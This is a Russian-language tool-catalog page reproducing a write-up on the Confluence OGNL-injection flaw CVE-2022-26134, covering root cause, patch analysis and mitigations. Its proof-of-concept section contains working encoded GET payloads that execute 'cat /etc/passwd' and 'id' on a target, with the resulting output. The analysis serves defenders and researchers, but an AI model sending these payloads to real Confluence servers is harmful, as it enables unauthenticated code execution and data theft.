Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-26134 — [CVE-2022-26134] Confluence Pre-Auth Object-Graph Navigation Language (OGNL) Injection | Kitploit
Инструменты/GitHubGitHub/murataydemir/cve-2022-26134
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubmurataydemir/cve-2022-26134

CVE-2022-26134

[CVE-2022-26134] Confluence Pre-Auth Object-Graph Navigation Language (OGNL) Injection

Репозиторий
134 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

[CVE-2022-26134] Внедрение OGNL (Object-Graph Navigation Language) в Confluence до аутентификации


Confluence — это веб-ориентированный продукт для совместной работы в рабочих пространствах, разработанный компанией Atlassian. Его можно развернуть локально (on-prem) или в составе Atlassian Cloud. Он состоит из 3 ключевых компонентов: страница, пространство и дерево страниц.

  • Страница: Ваш контент хранится на страницах — «живых» документах, которые вы создаёте на своём сайте Confluence. Вы можете создавать страницы практически для чего угодно: от планов проектов до заметок со встреч, руководств по устранению неполадок, политик и многого другого.
  • Пространство: Страницы хранятся в пространствах — рабочих областях, где вы можете совместно работать и поддерживать порядок во всём своём контенте.
  • Дерево страниц: Организуйте содержимое пространства с помощью иерархического дерева страниц, которое позволяет быстро и легко находить нужные материалы. Вкладывайте страницы в связанные пространства и страницы, чтобы организовать их практически любым способом.

2 июня 2022 года в 20:00 UTC Atlassian выпустила уведомление о безопасности, касающееся уязвимости удалённого выполнения кода (RCE), затрагивающей продукты Confluence Server и Confluence Data Center. Подробную информацию об уязвимости CVE-2022-26134 вы можете найти ниже.

Краткое описание: CVE-2022-26134 - критическая по степени серьёзности уязвимость удалённого выполнения кода без аутентификации в Confluence Server и Data Center
Дата выпуска уведомления: 2 июня 2022
Затронутые продукты: Confluence Server и Confluence Data Center
Затронутые версии: Затронуты все поддерживаемые версии Confluence Server и Data Center. Уязвимы версии Confluence Server и Data Center после 1.3.0.
Исправленные версии: 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4 и 7.18.1
Идентификатор(ы) CVE: CVE-2022-26134 Внедрение OGNL (Object-Graph Navigation Language) в Confluence до аутентификации

Подтверждение концепции (PoC): Пример запроса 1

root@kitploit:~
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20/etc/passwd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ HTTP/1.1
Host: vulnerablehost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

Ответ 1

root@kitploit:~
HTTP/1.1 302 
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1654688652451
Set-Cookie: JSESSIONID=47E8CE261CF7355A5625FEF65B4BD7DC; Path=/; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-Cmd-Murat: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin confluence:x:2002:2002::/var/atlassian/application-data/confluence:/bin/bash 
Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat+%2Fetc%2Fpasswd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Date: Wed, 08 Jun 2022 11:44:12 GMT
Connection: close

PoC-1

Подтверждение концепции (PoC): Пример запроса 2

root@kitploit:~
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ HTTP/1.1
Host: vulnerablehost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

Ответ 2

root@kitploit:~
HTTP/1.1 302 
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1654687799603
Set-Cookie: JSESSIONID=37BEF3F90A06CB415FAC1070D6D4570A; Path=/; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-Cmd-Murat: uid=2002(confluence) gid=2002(confluence) groups=2002(confluence) 
Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Date: Wed, 08 Jun 2022 11:29:59 GMT
Connection: close

PoC-2
Как работает уязвимость?
Путь /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ в URL интерпретируется Confluence как namespace. Затем код применяет к этому namespace функцию translateVariables (часть утилит разбора текста в Confluence). Поскольку translateVariables использует OGNL, атакующая строка будет разобрана и выполнена.

Метод findValue(str) класса OgnlValueStack важен, так как он является отправной точкой для вычисления OGNL-выражения. Как видно из приведённого ниже фрагмента, при эксплуатации этой уязвимости TextParseUtil.class вызывает OgnlValueStack.findValue.

root@kitploit:~
public class TextParseUtil {
    public static String translateVariables(String expression, OgnlValueStack stack) {
        StringBuilder sb = new StringBuilder();
        Pattern p = Pattern.compile("\\$\\{([^}]*)\\}");
        Matcher m = p.matcher(expression);
        int previous = 0;
        while (m.find()) {
            String str1, g = m.group(1);
            int start = m.start();
            try {
                Object o = stack.findValue(g);
                str1 = (o == null) ? "" : o.toString();
            } catch (Exception ignored) {
                str1 = "";
            } 
            sb.append(expression.substring(previous, start)).append(str1);
            previous = m.end();
        } 
        if (previous < expression.length())
            sb.append(expression.substring(previous)); 
        return sb.toString();
    }
}

ActionChainResult.class вызывает TextParseUtil.translateVariables, используя this.namespace в качестве переданного выражения:

root@kitploit:~
public void execute(ActionInvocation invocation) throws Exception {
    if (this.namespace == null)
        this.namespace = invocation.getProxy().getNamespace(); 
    OgnlValueStack stack = ActionContext.getContext().getValueStack();
    String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
    String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);

Здесь namespace создаётся из строки URI запроса в методе com.opensymphony.webwork.dispatcher.ServletDispatcher.getNamespaceFromServletPath:

root@kitploit:~
public static String getNamespaceFromServletPath(String servletPath) {
    servletPath = servletPath.substring(0, servletPath.lastIndexOf("/"));
    return servletPath;
}

В результате URI, предоставленный атакующим, преобразуется в namespace, который затем попадает в механизм вычисления OGNL-выражений. На высоком уровне это очень похоже на CVE-2018-11776 — уязвимость внедрения OGNL в namespace Apache Struts2.

Анализ патча
Atlassian рекомендовала клиентам заменить xwork-1.0.3.6.jar на недавно выпущенный xwork-1.0.3-atlassian-10.jar. JAR-файлы xwork содержат ActionChainResult.class и TextParseUtil.class, которые мы определили как путь к вычислению OGNL-выражений.

Патч вносит ряд небольших изменений для устранения этой проблемы. В частности, namespace больше не передаётся в TextParseUtil.translateVariables из ActionChainResult.execute:

До

root@kitploit:~
public void execute(ActionInvocation invocation) throws Exception {
    if (this.namespace == null)
        this.namespace = invocation.getProxy().getNamespace(); 
    OgnlValueStack stack = ActionContext.getContext().getValueStack();
    String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
    String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);

После

root@kitploit:~
public void execute(ActionInvocation invocation) throws Exception {
    if (this.namespace == null)
        this.namespace = invocation.getProxy().getNamespace(); 
    String finalNamespace = this.namespace;
    String finalActionName = this.actionName;

PoC-3

Благодаря выводу команды git diff на скриншоте ниже можно увидеть различия в ActionChainResult.class до и после установки патча. (скопировано из блога Datalog)

PoC-5

Atlassian также добавила SafeExpressionUtil.class в xworks jar. SafeExpressionUtil.class обеспечивает фильтрацию небезопасных выражений и был встроен в OgnlValueStack.class для проверки выражений при вызове findValue. Например:

root@kitploit:~
public Object findValue(String expr) {
    try {
      if (expr == null)
        return null; 
      if (!this.safeExpressionUtil.isSafeExpression(expr))
        return null; 
      if (this.overrides != null && this.overrides.containsKey(expr))

PoC-4

Что могут сделать организации для защиты от этой уязвимости?
Теперь, когда патч доступен, обновитесь до исправленной версии Confluence. Если установка патча в данный момент невозможна, Atlassian предоставила временные инструкции по обходным мерам для клиентов в зависимости от версий Confluence. Обе меры требуют временного отключения Confluence на время применения смягчающих мер. Для получения дополнительной информации обратитесь к соответствующим рекомендациям из уведомления Atlassian:

  • Для Confluence 7.15.0 - 7.18.0
  • Для Confluence 7.0.0 - Confluence 7.14.2

Для получения дополнительной информации об устранении этой уязвимости посетите следующие ресурсы:

  • Оригинальная публикация в блоге: Volexity: эксплуатация уязвимости нулевого дня в Atlassian Confluence
  • Ссылки на технический анализ: AttackerDB: CVE-2022-26134 | Datadog: уязвимость RCE в Confluence (CVE-2022-26134): обзор, обнаружение и устранение
  • CVE-2022-26134: уязвимость нулевого дня в Atlassian Confluence Server и Data Center, эксплуатируемая в реальных атаках
  • Активная эксплуатация уязвимости CVE-2022-26134 в Confluence
  • Confluence Security Advisory 2022-06-02
Скачать инструмент